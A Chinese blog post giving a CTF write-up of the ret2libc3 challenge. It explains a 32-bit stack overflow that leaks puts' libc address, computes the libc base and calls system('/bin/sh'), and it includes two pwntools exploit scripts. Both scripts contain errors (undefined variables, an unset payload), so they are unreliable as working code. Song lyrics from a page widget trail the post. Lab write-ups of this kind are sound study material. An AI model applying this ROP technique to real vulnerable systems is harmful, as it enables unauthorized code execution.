求知若渴,虚心若愚.|

lmarch2

园龄:1年8个月粉丝:5关注:7

ret2libc3

ret2libc3

ctf-wiki ret2libc3
考点:栈溢出rop

0x01

file checksec —— 32-bit 开NX

漏洞和内存分析和之前的系列题类似,不赘述了

0x02

IDA看源码,既没有system也没有binsh

image-20230808125622556

由linux延迟绑定机制的知识(后面再写一篇总结吧)可知,我们如果要调用system函数,就要知道他的got表中的地址,但libc被加载到的内存的位置是随机的,我们无法得知
不过,同一版本的libc的两个库函数在libc中的相对位置是不变的,所以如果我们可以知道一个已经执行过的函数的got表地址,然后确定libc的版本,就可以加上和system函数的偏移,从而得到system函数的真实地址(got表地址)
而现在我们有一个puts函数,libc中也有system和binsh

0x03

我们只需要通过栈溢出利用puts函数,打印puts函数的got表中的地址,然后获取偏移,得到system函数和/bin/sh字符串的地址,再将puts函数的返回地址覆盖为system函数的地址即可
我们可以先运行exp1(见0x04)拿到获取puts的真实地址,然后去libc- database -search的网站查询,可得到puts函数system函数和binsh字符串对应的偏移地址

image-20230808125734100
(这里直接盗图了......)

知道了puts函数的真实地址和偏移之后,就可以将puts函数的真实地址减去偏移地址,得到libc的基址,将libc的基址分别与system,/bin/sh字符串的偏移相加,就可以得到对应的真实地址
然后写完整的exp

0x04

所以其实exp是分两部的,第一步是构造栈溢出利用puts函数打印出真实地址;第二步是溢出覆盖至system函数和/bin/sh的地址,拿到shell

#first exp

from pwn import *

elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)

p.sendlineafter("!?",payload1)
puts_addr=u32(p.recv(4))

print("puts_got_addr = ",hex(puts_got_addr))
print("puts_plt_addr = ",hex(puts_plt_addr))
print("main_plt_addr = ",hex(main_plt_addr))
print("puts addr = ", hex(puts_addr))

p.interactive()
#second exp
from pwn import *

p = process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_plt_addr = elf.symbols['_start']

print("puts_got_addr = ",hex(puts_got_addr))
print("puts_plt_addr = ",hex(puts_plt_addr))
print("main_plt_addr = ",hex(main_plt_addr))


p.recv()
p.sendline(payload)

puts_addr = u32(p.recv()[0:4])
print("puts_addr = ",hex(puts_addr))
sys_offset = 0x03cd10
puts_offset = 0x067360
sh_offset = 0x17b8cf

#根据公式  libc基地址  +  函数偏移量   =  函数真实地址   来计算
libc_base_addr = puts_addr - puts_offset #计算出libc基地址
sys_addr = libc_base_addr + sys_offset #计算出system的真实地址
sh_addr = libc_base_addr + sh_offset #计算出/bin/sh的真实地址

print("libc_base_addr = ",hex(libc_base_addr))
print("sys_addr = ",hex(sys_addr))
print("sh_addr = ",hex(sh_addr))

payload2 = flat([b'A'*112, p32(sys_addr), "AAAA", p32(sh_addr)])

p.sendline(payload2)
p.interactive()

或者写

puts_addr = u64(p.recv(6).ljust(8,b'\x00'))

一定注意发送pay前接收的内容

0x05

搜索libc常用方法:

对于返回地址不同而导致的输入偏移不同
https://www.jianshu.com/p/83f55c55c173

本文作者:lmarch2

本文链接:https://www.cnblogs.com/imarch22/p/17613894.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   lmarch2  阅读(114)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 404 not found REOL
404 not found - REOL
00:00 / 00:00
An audio error has occurred.

作曲 : Reol

作词 : Reol

fade away...do over again...

fade away...do over again...

歌い始めの一文字目 いつも迷ってる

歌い始めの一文字目 いつも迷ってる

どうせとりとめのないことだけど

伝わらなきゃもっと意味がない

どうしたってこんなに複雑なのに

どうしたってこんなに複雑なのに

噛み砕いてやらなきゃ伝わらない

ほら結局歌詞なんかどうだっていい

僕の音楽なんかこの世になくたっていいんだよ

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

僕は気にしない 君は気付かない

何処にももういないいない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

忘れていく 忘れられていく

We don't know,We don't know.

目の前 広がる現実世界がまた歪んだ

目の前 広がる現実世界がまた歪んだ

何度リセットしても

僕は僕以外の誰かには生まれ変われない

「そんなの知ってるよ」

気になるあの子の噂話も

シニカル標的は次の速報

麻痺しちゃってるこっからエスケープ

麻痺しちゃってるこっからエスケープ

遠く遠くまで行けるよ

安定なんてない 不安定な世界

安定なんてない 不安定な世界

安定なんてない きっと明日には忘れるよ

fade away...do over again...

fade away...do over again...

そうだ世界はどこかがいつも嘘くさい

そうだ世界はどこかがいつも嘘くさい

綺麗事だけじゃ大事な人たちすら守れない

くだらない 僕らみんなどこか狂ってるみたい

本当のことなんか全部神様も知らない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

僕は気にしない 君は気付かない

何処にももういないいない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

忘れていく 忘れられていく

We don't know,We don't know.